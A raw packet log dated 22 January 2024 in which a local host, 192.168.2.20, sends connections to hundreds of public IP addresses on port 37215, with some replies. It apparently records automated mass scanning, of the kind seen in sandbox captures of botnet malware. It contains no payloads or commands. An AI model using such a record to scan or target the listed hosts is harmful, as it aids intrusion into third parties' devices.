Jan 22, 2024 03:59:46.451469898 CET	42076	37215	192.168.2.20	197.246.47.2
Jan 22, 2024 03:59:46.451533079 CET	37215	58015	160.155.162.214	192.168.2.20
Jan 22, 2024 03:59:46.453294992 CET	37215	58015	41.206.22.45	192.168.2.20
Jan 22, 2024 03:59:46.473041058 CET	37215	58015	41.79.235.38	192.168.2.20
Jan 22, 2024 03:59:46.493516922 CET	37215	58015	41.167.5.129	192.168.2.20
Jan 22, 2024 03:59:46.559674025 CET	37215	58015	41.175.53.17	192.168.2.20
Jan 22, 2024 03:59:46.633085012 CET	37215	58015	181.55.168.89	192.168.2.20
Jan 22, 2024 03:59:46.644440889 CET	37215	58015	37.72.214.22	192.168.2.20
Jan 22, 2024 03:59:46.644699097 CET	58015	37215	192.168.2.20	37.72.214.22
Jan 22, 2024 03:59:46.652322054 CET	37215	58015	45.95.39.77	192.168.2.20
Jan 22, 2024 03:59:46.652461052 CET	55796	37215	192.168.2.20	156.73.45.61
Jan 22, 2024 03:59:46.652626038 CET	59910	37215	192.168.2.20	156.73.171.30
Jan 22, 2024 03:59:46.654103041 CET	37215	58015	154.29.98.98	192.168.2.20
Jan 22, 2024 03:59:46.661309004 CET	37215	58015	94.168.92.81	192.168.2.20
Jan 22, 2024 03:59:46.672488928 CET	53046	37215	192.168.2.20	107.190.230.35
Jan 22, 2024 03:59:46.676975012 CET	37215	58015	41.141.149.66	192.168.2.20
Jan 22, 2024 03:59:46.706068039 CET	37215	58015	41.47.107.249	192.168.2.20
Jan 22, 2024 03:59:46.729404926 CET	37215	58015	41.37.92.119	192.168.2.20
Jan 22, 2024 03:59:46.735707045 CET	37215	42076	197.246.47.2	192.168.2.20
Jan 22, 2024 03:59:46.735920906 CET	42076	37215	192.168.2.20	197.246.47.2
Jan 22, 2024 03:59:46.736005068 CET	42076	37215	192.168.2.20	197.246.47.2
Jan 22, 2024 03:59:46.736470938 CET	45318	37215	192.168.2.20	37.72.214.22
Jan 22, 2024 03:59:46.738728046 CET	37215	42072	197.246.47.2	192.168.2.20
Jan 22, 2024 03:59:46.744271994 CET	37215	42072	197.246.47.2	192.168.2.20
Jan 22, 2024 03:59:46.744371891 CET	42072	37215	192.168.2.20	197.246.47.2
Jan 22, 2024 03:59:46.747539043 CET	37215	58015	154.148.34.3	192.168.2.20
Jan 22, 2024 03:59:46.753479004 CET	37215	58015	102.77.26.184	192.168.2.20
Jan 22, 2024 03:59:46.753685951 CET	37215	58015	156.245.141.21	192.168.2.20
Jan 22, 2024 03:59:46.754647970 CET	37215	42072	197.246.47.2	192.168.2.20
Jan 22, 2024 03:59:46.754822016 CET	42072	37215	192.168.2.20	197.246.47.2
Jan 22, 2024 03:59:46.798484087 CET	37215	58015	156.250.229.59	192.168.2.20
Jan 22, 2024 03:59:46.842773914 CET	37215	58015	154.200.10.249	192.168.2.20
Jan 22, 2024 03:59:46.844775915 CET	37215	58015	121.184.127.48	192.168.2.20
Jan 22, 2024 03:59:46.892215967 CET	37215	58015	138.25.65.141	192.168.2.20
Jan 22, 2024 03:59:46.934916973 CET	37215	45318	37.72.214.22	192.168.2.20
Jan 22, 2024 03:59:46.935192108 CET	45318	37215	192.168.2.20	37.72.214.22
Jan 22, 2024 03:59:46.936019897 CET	45318	37215	192.168.2.20	37.72.214.22
Jan 22, 2024 03:59:46.936021090 CET	45318	37215	192.168.2.20	37.72.214.22
Jan 22, 2024 03:59:46.936136007 CET	45320	37215	192.168.2.20	37.72.214.22
Jan 22, 2024 03:59:47.019263029 CET	37215	42076	197.246.47.2	192.168.2.20
Jan 22, 2024 03:59:47.019597054 CET	42076	37215	192.168.2.20	197.246.47.2
Jan 22, 2024 03:59:47.130434990 CET	37215	45318	37.72.214.22	192.168.2.20
Jan 22, 2024 03:59:47.130491972 CET	37215	45318	37.72.214.22	192.168.2.20
Jan 22, 2024 03:59:47.131119967 CET	37215	45320	37.72.214.22	192.168.2.20
Jan 22, 2024 03:59:47.131298065 CET	45320	37215	192.168.2.20	37.72.214.22
Jan 22, 2024 03:59:47.131372929 CET	45320	37215	192.168.2.20	37.72.214.22
Jan 22, 2024 03:59:47.187602043 CET	37215	58015	197.130.148.47	192.168.2.20
Jan 22, 2024 03:59:47.187915087 CET	58015	37215	192.168.2.20	197.130.148.47
Jan 22, 2024 03:59:47.188214064 CET	37215	58015	197.130.148.47	192.168.2.20
Jan 22, 2024 03:59:47.188477039 CET	53046	37215	192.168.2.20	107.190.230.35
Jan 22, 2024 03:59:47.326419115 CET	37215	45320	37.72.214.22	192.168.2.20
Jan 22, 2024 03:59:48.133060932 CET	58015	37215	192.168.2.20	41.32.17.199
Jan 22, 2024 03:59:48.133094072 CET	58015	37215	192.168.2.20	156.15.213.6
Jan 22, 2024 03:59:48.133158922 CET	58015	37215	192.168.2.20	41.10.60.247
Jan 22, 2024 03:59:48.133168936 CET	58015	37215	192.168.2.20	102.37.106.45
Jan 22, 2024 03:59:48.133220911 CET	58015	37215	192.168.2.20	41.179.68.140
Jan 22, 2024 03:59:48.133280039 CET	58015	37215	192.168.2.20	41.96.124.73
Jan 22, 2024 03:59:48.133445978 CET	58015	37215	192.168.2.20	95.81.242.65
Jan 22, 2024 03:59:48.133496046 CET	58015	37215	192.168.2.20	41.91.221.118
Jan 22, 2024 03:59:48.133502007 CET	58015	37215	192.168.2.20	156.28.61.77
Jan 22, 2024 03:59:48.133601904 CET	58015	37215	192.168.2.20	190.18.110.252
Jan 22, 2024 03:59:48.133622885 CET	58015	37215	192.168.2.20	197.50.139.96
Jan 22, 2024 03:59:48.133743048 CET	58015	37215	192.168.2.20	197.146.147.223
Jan 22, 2024 03:59:48.133754969 CET	58015	37215	192.168.2.20	197.173.247.214
Jan 22, 2024 03:59:48.133814096 CET	58015	37215	192.168.2.20	41.198.145.201
Jan 22, 2024 03:59:48.133950949 CET	58015	37215	192.168.2.20	156.145.200.30
Jan 22, 2024 03:59:48.133949995 CET	58015	37215	192.168.2.20	107.12.76.249
Jan 22, 2024 03:59:48.134026051 CET	58015	37215	192.168.2.20	41.79.14.128
Jan 22, 2024 03:59:48.134076118 CET	58015	37215	192.168.2.20	190.34.46.71
Jan 22, 2024 03:59:48.134140015 CET	58015	37215	192.168.2.20	41.32.244.97
Jan 22, 2024 03:59:48.134203911 CET	58015	37215	192.168.2.20	186.86.178.163
Jan 22, 2024 03:59:48.134336948 CET	58015	37215	192.168.2.20	102.102.193.130
Jan 22, 2024 03:59:48.134402037 CET	58015	37215	192.168.2.20	186.60.240.110
Jan 22, 2024 03:59:48.134404898 CET	58015	37215	192.168.2.20	156.105.217.233
Jan 22, 2024 03:59:48.134465933 CET	58015	37215	192.168.2.20	41.146.117.249
Jan 22, 2024 03:59:48.134610891 CET	58015	37215	192.168.2.20	156.153.159.83
Jan 22, 2024 03:59:48.134665012 CET	58015	37215	192.168.2.20	41.211.162.238
Jan 22, 2024 03:59:48.134701014 CET	58015	37215	192.168.2.20	197.18.213.213
Jan 22, 2024 03:59:48.134730101 CET	58015	37215	192.168.2.20	156.214.226.86
Jan 22, 2024 03:59:48.134795904 CET	58015	37215	192.168.2.20	197.53.56.92
Jan 22, 2024 03:59:48.134861946 CET	58015	37215	192.168.2.20	197.154.63.62
Jan 22, 2024 03:59:48.134944916 CET	58015	37215	192.168.2.20	156.191.102.16
Jan 22, 2024 03:59:48.135015965 CET	58015	37215	192.168.2.20	156.214.106.67
Jan 22, 2024 03:59:48.135061026 CET	58015	37215	192.168.2.20	95.242.57.182
Jan 22, 2024 03:59:48.135128021 CET	58015	37215	192.168.2.20	197.157.122.33
Jan 22, 2024 03:59:48.135199070 CET	58015	37215	192.168.2.20	197.39.164.55
Jan 22, 2024 03:59:48.135274887 CET	58015	37215	192.168.2.20	45.175.233.108
Jan 22, 2024 03:59:48.135322094 CET	58015	37215	192.168.2.20	197.118.77.10
Jan 22, 2024 03:59:48.135387897 CET	58015	37215	192.168.2.20	41.250.199.135
Jan 22, 2024 03:59:48.135459900 CET	58015	37215	192.168.2.20	41.234.240.54
Jan 22, 2024 03:59:48.135515928 CET	58015	37215	192.168.2.20	197.67.20.197
Jan 22, 2024 03:59:48.135580063 CET	58015	37215	192.168.2.20	45.39.123.78
Jan 22, 2024 03:59:48.135649920 CET	58015	37215	192.168.2.20	222.223.72.83
Jan 22, 2024 03:59:48.135716915 CET	58015	37215	192.168.2.20	157.97.11.160
Jan 22, 2024 03:59:48.135778904 CET	58015	37215	192.168.2.20	197.218.198.89
Jan 22, 2024 03:59:48.135854959 CET	58015	37215	192.168.2.20	156.225.197.60
Jan 22, 2024 03:59:48.135921955 CET	58015	37215	192.168.2.20	122.209.35.136
Jan 22, 2024 03:59:48.135981083 CET	58015	37215	192.168.2.20	181.126.191.145
Jan 22, 2024 03:59:48.136051893 CET	58015	37215	192.168.2.20	41.234.152.68
Jan 22, 2024 03:59:48.136111021 CET	58015	37215	192.168.2.20	197.210.60.74
Jan 22, 2024 03:59:48.136172056 CET	58015	37215	192.168.2.20	121.57.19.140
Jan 22, 2024 03:59:48.136240005 CET	58015	37215	192.168.2.20	181.56.205.118
Jan 22, 2024 03:59:48.136310101 CET	58015	37215	192.168.2.20	157.69.21.107
Jan 22, 2024 03:59:48.136373997 CET	58015	37215	192.168.2.20	197.161.23.170
Jan 22, 2024 03:59:48.136434078 CET	58015	37215	192.168.2.20	41.188.114.50
Jan 22, 2024 03:59:48.136517048 CET	58015	37215	192.168.2.20	196.187.206.12
Jan 22, 2024 03:59:48.136589050 CET	58015	37215	192.168.2.20	190.102.205.36
Jan 22, 2024 03:59:48.136643887 CET	58015	37215	192.168.2.20	41.199.140.160
Jan 22, 2024 03:59:48.136718988 CET	58015	37215	192.168.2.20	156.87.223.167
Jan 22, 2024 03:59:48.136778116 CET	58015	37215	192.168.2.20	197.115.120.34
Jan 22, 2024 03:59:48.136843920 CET	58015	37215	192.168.2.20	41.31.237.2
Jan 22, 2024 03:59:48.136914968 CET	58015	37215	192.168.2.20	138.38.227.57
Jan 22, 2024 03:59:48.136979103 CET	58015	37215	192.168.2.20	107.227.152.171
Jan 22, 2024 03:59:48.137038946 CET	58015	37215	192.168.2.20	197.103.184.45
Jan 22, 2024 03:59:48.137115955 CET	58015	37215	192.168.2.20	156.158.129.127
Jan 22, 2024 03:59:48.137166023 CET	58015	37215	192.168.2.20	197.3.190.43
Jan 22, 2024 03:59:48.137258053 CET	58015	37215	192.168.2.20	45.241.73.105
Jan 22, 2024 03:59:48.137306929 CET	58015	37215	192.168.2.20	94.205.149.178
Jan 22, 2024 03:59:48.137367010 CET	58015	37215	192.168.2.20	197.139.159.4
Jan 22, 2024 03:59:48.137439966 CET	58015	37215	192.168.2.20	41.60.40.245
Jan 22, 2024 03:59:48.137496948 CET	58015	37215	192.168.2.20	197.25.49.64
Jan 22, 2024 03:59:48.137571096 CET	58015	37215	192.168.2.20	197.53.138.197
Jan 22, 2024 03:59:48.137634039 CET	58015	37215	192.168.2.20	190.154.106.177
Jan 22, 2024 03:59:48.137691021 CET	58015	37215	192.168.2.20	41.112.41.236
Jan 22, 2024 03:59:48.137758970 CET	58015	37215	192.168.2.20	197.18.237.231
Jan 22, 2024 03:59:48.137834072 CET	58015	37215	192.168.2.20	156.19.111.36
Jan 22, 2024 03:59:48.137918949 CET	58015	37215	192.168.2.20	156.52.82.135
Jan 22, 2024 03:59:48.137968063 CET	58015	37215	192.168.2.20	41.239.124.239
Jan 22, 2024 03:59:48.138020039 CET	58015	37215	192.168.2.20	107.129.227.155
Jan 22, 2024 03:59:48.138084888 CET	58015	37215	192.168.2.20	41.82.40.39
Jan 22, 2024 03:59:48.138158083 CET	58015	37215	192.168.2.20	222.67.85.167
Jan 22, 2024 03:59:48.138221025 CET	58015	37215	192.168.2.20	197.203.158.87
Jan 22, 2024 03:59:48.138287067 CET	58015	37215	192.168.2.20	197.239.128.182
Jan 22, 2024 03:59:48.138355017 CET	58015	37215	192.168.2.20	154.153.139.141
Jan 22, 2024 03:59:48.138411999 CET	58015	37215	192.168.2.20	156.195.5.159
Jan 22, 2024 03:59:48.138488054 CET	58015	37215	192.168.2.20	37.209.198.219
Jan 22, 2024 03:59:48.138541937 CET	58015	37215	192.168.2.20	156.255.237.174
Jan 22, 2024 03:59:48.138612032 CET	58015	37215	192.168.2.20	197.227.165.26
Jan 22, 2024 03:59:48.138669968 CET	58015	37215	192.168.2.20	197.9.108.193
Jan 22, 2024 03:59:48.138746023 CET	58015	37215	192.168.2.20	156.49.251.39
Jan 22, 2024 03:59:48.138809919 CET	58015	37215	192.168.2.20	41.238.156.24
Jan 22, 2024 03:59:48.138876915 CET	58015	37215	192.168.2.20	197.109.211.231
Jan 22, 2024 03:59:48.138942957 CET	58015	37215	192.168.2.20	41.152.102.23
Jan 22, 2024 03:59:48.139005899 CET	58015	37215	192.168.2.20	41.56.12.151
Jan 22, 2024 03:59:48.139070988 CET	58015	37215	192.168.2.20	222.151.221.207
Jan 22, 2024 03:59:48.139137030 CET	58015	37215	192.168.2.20	197.189.51.122
Jan 22, 2024 03:59:48.139200926 CET	58015	37215	192.168.2.20	41.105.115.161
Jan 22, 2024 03:59:48.139267921 CET	58015	37215	192.168.2.20	41.231.115.184
Jan 22, 2024 03:59:48.139333963 CET	58015	37215	192.168.2.20	41.169.156.216
Jan 22, 2024 03:59:48.139399052 CET	58015	37215	192.168.2.20	197.90.149.237
Jan 22, 2024 03:59:48.139462948 CET	58015	37215	192.168.2.20	41.20.95.179
Jan 22, 2024 03:59:48.139527082 CET	58015	37215	192.168.2.20	156.226.2.12
Jan 22, 2024 03:59:48.139586926 CET	58015	37215	192.168.2.20	41.184.242.47
Jan 22, 2024 03:59:48.139652014 CET	58015	37215	192.168.2.20	41.242.42.238
Jan 22, 2024 03:59:48.139718056 CET	58015	37215	192.168.2.20	197.84.230.191
Jan 22, 2024 03:59:48.139789104 CET	58015	37215	192.168.2.20	197.139.160.138
Jan 22, 2024 03:59:48.139847040 CET	58015	37215	192.168.2.20	156.244.145.69
Jan 22, 2024 03:59:48.139920950 CET	58015	37215	192.168.2.20	197.204.154.1
Jan 22, 2024 03:59:48.139986038 CET	58015	37215	192.168.2.20	197.92.68.46
Jan 22, 2024 03:59:48.140044928 CET	58015	37215	192.168.2.20	95.38.8.60
Jan 22, 2024 03:59:48.140113115 CET	58015	37215	192.168.2.20	107.247.149.166
Jan 22, 2024 03:59:48.140183926 CET	58015	37215	192.168.2.20	156.202.217.246
Jan 22, 2024 03:59:48.140243053 CET	58015	37215	192.168.2.20	197.201.57.64
Jan 22, 2024 03:59:48.140314102 CET	58015	37215	192.168.2.20	41.94.168.221
Jan 22, 2024 03:59:48.140372992 CET	58015	37215	192.168.2.20	197.86.64.31
Jan 22, 2024 03:59:48.140465975 CET	58015	37215	192.168.2.20	122.58.75.73
Jan 22, 2024 03:59:48.140523911 CET	58015	37215	192.168.2.20	197.207.194.102
Jan 22, 2024 03:59:48.140580893 CET	58015	37215	192.168.2.20	138.119.60.232
Jan 22, 2024 03:59:48.140650034 CET	58015	37215	192.168.2.20	197.37.149.212
Jan 22, 2024 03:59:48.140712976 CET	58015	37215	192.168.2.20	197.206.201.45
Jan 22, 2024 03:59:48.140786886 CET	58015	37215	192.168.2.20	156.42.149.74
Jan 22, 2024 03:59:48.140846968 CET	58015	37215	192.168.2.20	41.94.101.82
Jan 22, 2024 03:59:48.140918016 CET	58015	37215	192.168.2.20	41.84.170.149
Jan 22, 2024 03:59:48.140995026 CET	58015	37215	192.168.2.20	156.8.23.16
Jan 22, 2024 03:59:48.141041994 CET	58015	37215	192.168.2.20	154.14.180.241
Jan 22, 2024 03:59:48.141112089 CET	58015	37215	192.168.2.20	190.110.123.189
Jan 22, 2024 03:59:48.141170979 CET	58015	37215	192.168.2.20	222.2.225.69
Jan 22, 2024 03:59:48.141235113 CET	58015	37215	192.168.2.20	197.226.142.186
Jan 22, 2024 03:59:48.141309023 CET	58015	37215	192.168.2.20	41.58.242.220
Jan 22, 2024 03:59:48.141371965 CET	58015	37215	192.168.2.20	197.81.143.172
Jan 22, 2024 03:59:48.141438961 CET	58015	37215	192.168.2.20	92.201.76.148
Jan 22, 2024 03:59:48.141495943 CET	58015	37215	192.168.2.20	102.20.140.191
Jan 22, 2024 03:59:48.141566038 CET	58015	37215	192.168.2.20	41.132.200.144
Jan 22, 2024 03:59:48.141627073 CET	58015	37215	192.168.2.20	197.123.201.69
Jan 22, 2024 03:59:48.141700029 CET	58015	37215	192.168.2.20	197.101.51.156
Jan 22, 2024 03:59:48.141767025 CET	58015	37215	192.168.2.20	197.53.205.44
Jan 22, 2024 03:59:48.141830921 CET	58015	37215	192.168.2.20	94.13.105.110
Jan 22, 2024 03:59:48.141921043 CET	58015	37215	192.168.2.20	41.78.16.77
Jan 22, 2024 03:59:48.141956091 CET	58015	37215	192.168.2.20	222.233.114.213
Jan 22, 2024 03:59:48.142029047 CET	58015	37215	192.168.2.20	197.129.146.100
Jan 22, 2024 03:59:48.142107010 CET	58015	37215	192.168.2.20	197.111.103.133
Jan 22, 2024 03:59:48.142158985 CET	58015	37215	192.168.2.20	41.117.103.163
Jan 22, 2024 03:59:48.142222881 CET	58015	37215	192.168.2.20	156.202.18.10
Jan 22, 2024 03:59:48.142421007 CET	58015	37215	192.168.2.20	157.191.194.255
Jan 22, 2024 03:59:48.142433882 CET	58015	37215	192.168.2.20	122.109.161.51
Jan 22, 2024 03:59:48.142433882 CET	58015	37215	192.168.2.20	197.0.93.63
Jan 22, 2024 03:59:48.142486095 CET	58015	37215	192.168.2.20	197.25.187.177
Jan 22, 2024 03:59:48.142550945 CET	58015	37215	192.168.2.20	156.165.20.15
Jan 22, 2024 03:59:48.142616034 CET	58015	37215	192.168.2.20	197.185.123.252
Jan 22, 2024 03:59:48.142699003 CET	58015	37215	192.168.2.20	197.119.165.56
Jan 22, 2024 03:59:48.142745018 CET	58015	37215	192.168.2.20	95.73.157.161
Jan 22, 2024 03:59:48.142813921 CET	58015	37215	192.168.2.20	41.112.53.172
Jan 22, 2024 03:59:48.142879963 CET	58015	37215	192.168.2.20	222.143.225.89
Jan 22, 2024 03:59:48.142942905 CET	58015	37215	192.168.2.20	197.241.148.0
Jan 22, 2024 03:59:48.143009901 CET	58015	37215	192.168.2.20	190.1.7.154
Jan 22, 2024 03:59:48.143074036 CET	58015	37215	192.168.2.20	120.118.143.3
Jan 22, 2024 03:59:48.143146992 CET	58015	37215	192.168.2.20	121.43.115.120
Jan 22, 2024 03:59:48.143196106 CET	58015	37215	192.168.2.20	190.250.255.62
Jan 22, 2024 03:59:48.143285036 CET	58015	37215	192.168.2.20	156.198.143.7
Jan 22, 2024 03:59:48.143312931 CET	58015	37215	192.168.2.20	156.143.241.95
Jan 22, 2024 03:59:48.143338919 CET	58015	37215	192.168.2.20	156.102.47.185
Jan 22, 2024 03:59:48.143368959 CET	58015	37215	192.168.2.20	154.160.214.209
Jan 22, 2024 03:59:48.143397093 CET	58015	37215	192.168.2.20	181.171.243.171
Jan 22, 2024 03:59:48.143415928 CET	58015	37215	192.168.2.20	156.135.51.230
Jan 22, 2024 03:59:48.143440962 CET	58015	37215	192.168.2.20	95.147.91.94
Jan 22, 2024 03:59:48.143457890 CET	58015	37215	192.168.2.20	197.46.55.79
Jan 22, 2024 03:59:48.143474102 CET	58015	37215	192.168.2.20	41.87.199.99
Jan 22, 2024 03:59:48.143485069 CET	58015	37215	192.168.2.20	197.195.72.228
Jan 22, 2024 03:59:48.143517971 CET	58015	37215	192.168.2.20	37.60.235.25
Jan 22, 2024 03:59:48.143522024 CET	58015	37215	192.168.2.20	41.146.22.243
Jan 22, 2024 03:59:48.143543005 CET	58015	37215	192.168.2.20	41.232.246.86
Jan 22, 2024 03:59:48.143557072 CET	58015	37215	192.168.2.20	92.205.77.222
Jan 22, 2024 03:59:48.143569946 CET	58015	37215	192.168.2.20	41.189.233.234
Jan 22, 2024 03:59:48.143590927 CET	58015	37215	192.168.2.20	156.143.43.53
Jan 22, 2024 03:59:48.143604994 CET	58015	37215	192.168.2.20	92.29.250.86
Jan 22, 2024 03:59:48.143631935 CET	58015	37215	192.168.2.20	120.209.67.143
Jan 22, 2024 03:59:48.143642902 CET	58015	37215	192.168.2.20	156.152.112.44
Jan 22, 2024 03:59:48.143671036 CET	58015	37215	192.168.2.20	156.177.248.253
Jan 22, 2024 03:59:48.143676996 CET	58015	37215	192.168.2.20	41.96.219.134
Jan 22, 2024 03:59:48.143702984 CET	58015	37215	192.168.2.20	156.69.162.156
Jan 22, 2024 03:59:48.143722057 CET	58015	37215	192.168.2.20	41.202.18.118
Jan 22, 2024 03:59:48.143742085 CET	58015	37215	192.168.2.20	41.201.236.189
Jan 22, 2024 03:59:48.143773079 CET	58015	37215	192.168.2.20	41.182.202.223
Jan 22, 2024 03:59:48.143775940 CET	58015	37215	192.168.2.20	197.204.7.206
Jan 22, 2024 03:59:48.143784046 CET	58015	37215	192.168.2.20	41.24.168.73
Jan 22, 2024 03:59:48.143800974 CET	58015	37215	192.168.2.20	197.51.70.69
Jan 22, 2024 03:59:48.143827915 CET	58015	37215	192.168.2.20	197.239.176.18
Jan 22, 2024 03:59:48.143842936 CET	58015	37215	192.168.2.20	197.113.226.220
Jan 22, 2024 03:59:48.143866062 CET	58015	37215	192.168.2.20	222.86.244.53
Jan 22, 2024 03:59:48.143882036 CET	58015	37215	192.168.2.20	41.215.166.25
Jan 22, 2024 03:59:48.143898010 CET	58015	37215	192.168.2.20	156.185.40.236
Jan 22, 2024 03:59:48.143918037 CET	58015	37215	192.168.2.20	41.120.203.28
Jan 22, 2024 03:59:48.143937111 CET	58015	37215	192.168.2.20	41.115.61.144
Jan 22, 2024 03:59:48.143944025 CET	58015	37215	192.168.2.20	197.248.15.70
Jan 22, 2024 03:59:48.143965006 CET	58015	37215	192.168.2.20	156.117.34.81
Jan 22, 2024 03:59:48.143990040 CET	58015	37215	192.168.2.20	45.83.6.159
Jan 22, 2024 03:59:48.144006014 CET	58015	37215	192.168.2.20	154.25.161.15
Jan 22, 2024 03:59:48.144033909 CET	58015	37215	192.168.2.20	197.25.88.132
Jan 22, 2024 03:59:48.144042969 CET	58015	37215	192.168.2.20	156.153.231.116
Jan 22, 2024 03:59:48.144063950 CET	58015	37215	192.168.2.20	156.169.46.200
Jan 22, 2024 03:59:48.144081116 CET	58015	37215	192.168.2.20	156.150.241.234
Jan 22, 2024 03:59:48.144098043 CET	58015	37215	192.168.2.20	41.191.115.157
Jan 22, 2024 03:59:48.144125938 CET	58015	37215	192.168.2.20	156.106.147.107
Jan 22, 2024 03:59:48.144135952 CET	58015	37215	192.168.2.20	181.1.88.187
Jan 22, 2024 03:59:48.144153118 CET	58015	37215	192.168.2.20	41.151.131.231
Jan 22, 2024 03:59:48.144165039 CET	58015	37215	192.168.2.20	197.130.184.122
Jan 22, 2024 03:59:48.144191980 CET	58015	37215	192.168.2.20	197.10.98.154
Jan 22, 2024 03:59:48.144221067 CET	58015	37215	192.168.2.20	197.4.47.32
Jan 22, 2024 03:59:48.144222975 CET	58015	37215	192.168.2.20	197.98.148.81
Jan 22, 2024 03:59:48.144243956 CET	58015	37215	192.168.2.20	197.208.21.116
Jan 22, 2024 03:59:48.144258022 CET	58015	37215	192.168.2.20	41.230.149.255
Jan 22, 2024 03:59:48.144282103 CET	58015	37215	192.168.2.20	107.53.100.155
Jan 22, 2024 03:59:48.144299984 CET	58015	37215	192.168.2.20	157.66.31.85
Jan 22, 2024 03:59:48.144315004 CET	58015	37215	192.168.2.20	37.5.28.229
Jan 22, 2024 03:59:48.144328117 CET	58015	37215	192.168.2.20	41.190.173.111
Jan 22, 2024 03:59:48.144355059 CET	58015	37215	192.168.2.20	138.41.46.243
Jan 22, 2024 03:59:48.144370079 CET	58015	37215	192.168.2.20	222.91.132.152
Jan 22, 2024 03:59:48.144388914 CET	58015	37215	192.168.2.20	156.219.184.214
Jan 22, 2024 03:59:48.144413948 CET	58015	37215	192.168.2.20	156.148.106.181
Jan 22, 2024 03:59:48.144423008 CET	58015	37215	192.168.2.20	197.226.31.119
Jan 22, 2024 03:59:48.144445896 CET	58015	37215	192.168.2.20	120.76.15.112
Jan 22, 2024 03:59:48.144469023 CET	58015	37215	192.168.2.20	37.80.148.206
Jan 22, 2024 03:59:48.144483089 CET	58015	37215	192.168.2.20	156.194.139.70
Jan 22, 2024 03:59:48.144503117 CET	58015	37215	192.168.2.20	197.113.118.29
Jan 22, 2024 03:59:48.144526958 CET	58015	37215	192.168.2.20	41.156.117.201
Jan 22, 2024 03:59:48.144536972 CET	58015	37215	192.168.2.20	197.85.99.189
Jan 22, 2024 03:59:48.144562960 CET	58015	37215	192.168.2.20	156.251.41.204
Jan 22, 2024 03:59:48.144582033 CET	58015	37215	192.168.2.20	154.185.146.230
Jan 22, 2024 03:59:48.144602060 CET	58015	37215	192.168.2.20	197.164.139.103
Jan 22, 2024 03:59:48.144618988 CET	58015	37215	192.168.2.20	94.174.172.3
Jan 22, 2024 03:59:48.144639015 CET	58015	37215	192.168.2.20	41.126.9.173
Jan 22, 2024 03:59:48.144675970 CET	58015	37215	192.168.2.20	197.82.184.234
Jan 22, 2024 03:59:48.144680023 CET	58015	37215	192.168.2.20	95.122.70.188
Jan 22, 2024 03:59:48.144684076 CET	58015	37215	192.168.2.20	197.190.254.175
Jan 22, 2024 03:59:48.144700050 CET	58015	37215	192.168.2.20	186.149.202.226
Jan 22, 2024 03:59:48.144731045 CET	58015	37215	192.168.2.20	196.21.201.234
Jan 22, 2024 03:59:48.144747019 CET	58015	37215	192.168.2.20	197.236.192.97
Jan 22, 2024 03:59:48.144757032 CET	58015	37215	192.168.2.20	156.84.108.77
Jan 22, 2024 03:59:48.144778967 CET	58015	37215	192.168.2.20	41.219.110.8
Jan 22, 2024 03:59:48.144805908 CET	58015	37215	192.168.2.20	37.16.132.161
Jan 22, 2024 03:59:48.144834995 CET	58015	37215	192.168.2.20	197.185.142.248
Jan 22, 2024 03:59:48.144840002 CET	58015	37215	192.168.2.20	41.96.30.142
Jan 22, 2024 03:59:48.144857883 CET	58015	37215	192.168.2.20	197.109.85.242
Jan 22, 2024 03:59:48.144869089 CET	58015	37215	192.168.2.20	156.125.184.200
Jan 22, 2024 03:59:48.144891024 CET	58015	37215	192.168.2.20	41.179.103.119
Jan 22, 2024 03:59:48.144901037 CET	58015	37215	192.168.2.20	197.81.232.178
Jan 22, 2024 03:59:48.144918919 CET	58015	37215	192.168.2.20	156.101.196.200
Jan 22, 2024 03:59:48.144952059 CET	58015	37215	192.168.2.20	41.35.190.179
Jan 22, 2024 03:59:48.144956112 CET	58015	37215	192.168.2.20	41.164.151.55
Jan 22, 2024 03:59:48.144972086 CET	58015	37215	192.168.2.20	197.61.154.212
Jan 22, 2024 03:59:48.144982100 CET	58015	37215	192.168.2.20	41.88.248.204
Jan 22, 2024 03:59:48.145006895 CET	58015	37215	192.168.2.20	197.198.211.104
Jan 22, 2024 03:59:48.145019054 CET	58015	37215	192.168.2.20	45.157.239.143
Jan 22, 2024 03:59:48.145026922 CET	58015	37215	192.168.2.20	154.112.204.42
Jan 22, 2024 03:59:48.145041943 CET	58015	37215	192.168.2.20	197.145.110.208
Jan 22, 2024 03:59:48.145066023 CET	58015	37215	192.168.2.20	156.223.139.60
Jan 22, 2024 03:59:48.145087004 CET	58015	37215	192.168.2.20	156.209.52.114
Jan 22, 2024 03:59:48.145093918 CET	58015	37215	192.168.2.20	95.222.11.176
Jan 22, 2024 03:59:48.145116091 CET	58015	37215	192.168.2.20	156.77.189.91
Jan 22, 2024 03:59:48.145126104 CET	58015	37215	192.168.2.20	197.209.154.114
Jan 22, 2024 03:59:48.145145893 CET	58015	37215	192.168.2.20	107.152.215.88
Jan 22, 2024 03:59:48.145157099 CET	58015	37215	192.168.2.20	37.244.55.58
Jan 22, 2024 03:59:48.145179987 CET	58015	37215	192.168.2.20	120.60.174.110
Jan 22, 2024 03:59:48.145196915 CET	58015	37215	192.168.2.20	197.60.212.170
Jan 22, 2024 03:59:48.145217896 CET	58015	37215	192.168.2.20	197.162.37.11
Jan 22, 2024 03:59:48.145217896 CET	58015	37215	192.168.2.20	197.195.115.87
Jan 22, 2024 03:59:48.145245075 CET	58015	37215	192.168.2.20	41.68.5.245
Jan 22, 2024 03:59:48.145256996 CET	58015	37215	192.168.2.20	41.120.249.159
Jan 22, 2024 03:59:48.145270109 CET	58015	37215	192.168.2.20	92.173.78.4
Jan 22, 2024 03:59:48.145288944 CET	58015	37215	192.168.2.20	156.225.166.150
Jan 22, 2024 03:59:48.145312071 CET	58015	37215	192.168.2.20	107.28.197.141
Jan 22, 2024 03:59:48.145323992 CET	58015	37215	192.168.2.20	156.60.85.33
Jan 22, 2024 03:59:48.145332098 CET	58015	37215	192.168.2.20	197.71.102.207
Jan 22, 2024 03:59:48.145354033 CET	58015	37215	192.168.2.20	156.139.152.78
Jan 22, 2024 03:59:48.145364046 CET	58015	37215	192.168.2.20	41.86.214.213
Jan 22, 2024 03:59:48.145394087 CET	58015	37215	192.168.2.20	181.226.46.186
Jan 22, 2024 03:59:48.145394087 CET	58015	37215	192.168.2.20	102.241.215.3
Jan 22, 2024 03:59:48.145422935 CET	58015	37215	192.168.2.20	156.187.217.176
Jan 22, 2024 03:59:48.145433903 CET	58015	37215	192.168.2.20	156.162.10.18
Jan 22, 2024 03:59:48.145447969 CET	58015	37215	192.168.2.20	197.210.195.163
Jan 22, 2024 03:59:48.145457983 CET	58015	37215	192.168.2.20	95.83.72.240
Jan 22, 2024 03:59:48.145481110 CET	58015	37215	192.168.2.20	41.158.57.242
Jan 22, 2024 03:59:48.145497084 CET	58015	37215	192.168.2.20	41.19.148.192
